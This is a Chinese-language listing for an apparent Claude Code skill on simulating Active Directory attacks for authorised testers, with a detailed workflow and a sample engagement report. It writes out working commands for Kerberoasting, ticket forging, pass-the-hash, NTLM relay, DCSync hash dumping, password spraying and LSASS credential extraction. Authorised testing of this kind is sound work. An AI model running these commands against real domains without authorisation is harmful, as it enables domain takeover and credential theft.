关于 executing-active-directory-attack-simulation
面向获授权安全测试人员的 Active Directory 攻击模拟技能,提供从环境侦察、攻击路径分析到 Kerberos 与凭证测试的流程。强调事先书面授权、范围约束和避免影响生产系统。
主要功能
- 01枚举域、用户、组与信任关系
- 02使用 BloodHound 分析攻击路径
- 03测试 Kerberos 配置与攻击面
- 04评估凭证攻击和横向移动路径
- 05记录提权链并提出修复方向
适用场景
- 01评估低权限账户到域管理员的路径
- 02验证 Kerberos 与委派配置
- 03测试 SOC 和 EDR 对 AD 技术的检测
- 04检查分层管理与特权访问措施
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill executing-active-directory-attack-simulation安装后在 Claude Code 中输入/executing-active-directory-attack-simulation确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行 Active Directory 攻击模拟
适用场景
- 评估 Active Directory 域和林抵御常见及高级攻击技术的安全性
- 使用权限关系分析,识别从低权限域用户到 Domain Admin 的攻击路径
- 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
- 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
- 评估分层管理模型和特权访问工作站的有效性
未经授权不得使用:不得在未获得域所有者明确书面授权的情况下使用;未经批准,不得在工作时间针对生产域控制器进行测试;未经事先协调,不得进行可能导致真实用户账户锁定的测试。
前提条件
- 书面授权,其中须明确目标 AD 域、测试限制以及任何禁止测试的账户或系统
- 低权限域用户账户(最低起点),用于模拟真实的攻击者位置
- 已加入域的测试工作站,或可通过端口 88、135、139、389、445、636、3268、3269 访问域控制器的网络连接
- BloodHound Community Edition 或 Enterprise,以及 SharpHound/AzureHound 收集器
- 攻击平台上已安装 Impacket toolkit、Mimikatz(或 pypykatz)、Rubeus 和 CrackMapExec
- 用于离线凭据破解的 Hashcat 或 John the Ripper,以及当前的字典(rockyou.txt、SecLists)
工作流
步骤 1:Active Directory 侦察
从低权限域用户的角度枚举 AD 环境:
- 域枚举:使用
Get-ADDomain或crackmapexec smb <dc_ip> -u <user> -p <pass> --domains,识别域名、功能级别、域控制器和林信任关系 - 用户枚举:使用
Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet,识别服务账户、特权账户和过期密码 - 组枚举:使用
net group "Domain Admins" /domain,映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系 - GPO 枚举:使用
Get-GPO -All | Get-GPOReport -ReportType XML,识别组策略配置,包括密码策略、审核设置和软件部署 - 信任关系枚举:使用
nltest /domain_trusts /all_trusts,映射域间和林间信任关系,并记录信任方向和传递性 - LDAP 查询:使用
ldapsearch或 ADExplorer 搜索userAccountControl标志,识别标记为“密码永不过期”“不需要密码”或“仅 DES Kerberos”的账户
步骤 2:BloodHound 攻击路径分析
收集并分析 AD 关系数据,以识别通往 Domain Admin 的最短路径:
- 运行 SharpHound 收集器:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\,收集用户、组、会话、ACL、信任关系和 GPO 数据 - 将 JSON 输出导入 BloodHound,并运行内置查询:
- “从已控制主体到 Domain Admins 的最短路径”
- “查找具有 DCSync 权限的主体”
- “查找域用户拥有本地管理员权限的计算机”
- “到非约束委派系统的最短路径”
- “查找来自所有可进行 Kerberoast 攻击的用户的路径”
- 在 BloodHound 中将已攻陷用户标记为“已控制”,并分析由此产生的攻击路径
- 识别基于 ACL 的攻击路径:高价值对象上的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
- 记录每条已识别攻击路径的关系链和受影响对象
第 3 步:Kerberos 攻击
针对已识别的易受攻击账户执行基于 Kerberos 的攻击:
- Kerberoasting:为具有 SPN 的账户请求 TGS 票据:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。使用hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt离线破解 - AS-REP Roasting:针对未启用 Kerberos 预身份验证的账户:
impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。使用hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt破解 - Silver Ticket:如果服务账户的 NTLM 哈希已被破解,可使用
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>为该服务伪造 TGS 票据 - Golden Ticket:如果已获取 krbtgt 哈希(域遭到入侵后),可伪造 TGT:
mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi" - 滥用无约束委派:识别启用了无约束委派的计算机。使用 PrinterBug 或 PetitPotam 强制域控制器进行身份验证,然后从内存中捕获该域控制器的 TGT。
第 4 步:凭证攻击和横向移动
利用收集到的凭证在域内横向移动:
- 哈希传递:使用
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>,在被入侵账户拥有本地管理员权限的系统上执行命令 - 票据传递:使用
export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass使用捕获或伪造的 Kerberos 票据 - NTLM 中继:配置
impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>,并强制进行身份验证,以中继 NTLM 凭证来提升权限 - DCSync:如果已获得 DCSync 权限(复制目录更改):使用
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm转储域内所有密码哈希 - 密码喷洒:使用
crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce,对所有账户测试一个密码,以避免账户锁定 - LSASS 转储:在被入侵的主机上,使用
mimikatz "sekurlsa::logonpasswords"或procdump -ma lsass.exe lsass.dmp从 LSASS 内存中提取凭证,然后离线提取
第 5 步:提升权限至 Domain Admin
串联发现的攻击路径,将低权限用户的权限提升至 Domain Admin:
- 按照 BloodHound 识别出的最短路径,逐步执行每个关系(例如,对用户拥有 GenericWrite -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户属于一个对 Domain Admins 拥有 WriteDACL 权限的组 -> 授予自己组成员资格)
- 如果发现组策略首选项(GPP)密码,则利用这些密码:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon - 如果部署了 LAPS(本地管理员密码解决方案),则以其为目标:使用
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd查询 LAPS 密码 - 使用 Certipy 滥用证书服务(AD CS):运行
certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>,查找可利用的证书模板(ESC1-ESC8) - 记录从初始用户到 Domain Admin 的完整攻击链,包括所用的每项凭证、工具和技术
关键概念
| 术语 | 定义 |
|---|---|
| Kerberoasting | 为具有服务主体名称的账户请求 Kerberos TGS 票据,并在离线状态下破解这些票据以还原服务账户的明文密码 |
| AS-REP Roasting | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并在离线状态下破解加密时间戳 |
| DCSync | 利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟 DC 的行为 |
| BloodHound | 基于图的 Active Directory 分析工具,可映射权限关系,并识别从任意用户到域管理员等高价值目标的攻击路径 |
| Unconstrained Delegation | 一种 Kerberos 委派配置,服务可模拟任意用户访问任何其他服务,从而捕获连接用户的 TGT |
| Pass-the-Hash | 一种身份验证技术,直接使用 NTLM 哈希而非明文密码,利用 Windows NTLM 身份验证机制 |
| AD CS Abuse | 利用配置错误的 Active Directory 证书服务模板申请证书,从而获取更高权限或冒充其他用户 |
| NTLM Relay | 将捕获的 NTLM 身份验证转发到其他服务,以受害者身份进行身份验证;在未强制启用 SMB 签名时尤为有效 |
工具与系统
- BloodHound:攻击路径分析工具,可导入由 SharpHound 收集的 AD 数据,通过可视化对象关系识别权限提升路径
- Impacket:用于网络协议交互的 Python 工具包,包含 Kerberos 攻击工具(GetUserSPNs、GetNPUsers)、凭据转储工具(secretsdump)和远程执行工具(psexec、wmiexec)
- Mimikatz:后渗透工具,可从 Windows 内存(LSASS 进程)中提取明文凭据、NTLM 哈希和 Kerberos 票据
- CrackMapExec:面向 Active Directory 环境的多协议攻击工具,支持 SMB、LDAP、WinRM 和 MSSQL,并内置密码喷洒和枚举模块
- Certipy:用于枚举和利用 Active Directory 证书服务(AD CS)配置错误的 Python 工具
常见场景
场景:医疗机构的域失陷评估
背景:某医院网络拥有一个 Active Directory 林,其中包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 个域控制器。测试人员从一个低权限域用户账户开始。目标是判断攻击者能否利用窃取的员工凭据提升至域管理员权限。
方法:
- 运行 SharpHound 收集 AD 关系数据,并导入 BloodHound
- BloodHound 揭示一条路径:已控制用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户拥有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 上存在域管理员会话
- 对 SVC-SQL 进行 Kerberoast,使用 hashcat 在 12 分钟内破解其弱密码(Summer2023!)
- 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
- 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
- 执行 DCSync 转储所有域哈希,验证域已失陷
- 报告完整攻击链及修复建议:为服务账户设置 25 个字符以上的密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理
注意事项:
- 在业务高峰期使用噪声较大的收集方法运行 SharpHound,过多的 LDAP 查询可能触发 SOC 警报
- 未先检查域锁定策略就进行密码喷洒,导致数百个账户被锁定
- 忘记检查 AD CS 漏洞;这类漏洞通常能提供最快的域管理员权限提升路径
- 未检查陈旧的计算机账户,这些账户可能仍缓存凭据或保留活动会话
输出格式
## Finding: Service Account Vulnerable to Kerberoasting with Weak Password
**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: [email protected] (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting
**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.
**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash
**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.
**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks
评论
支持 Markdown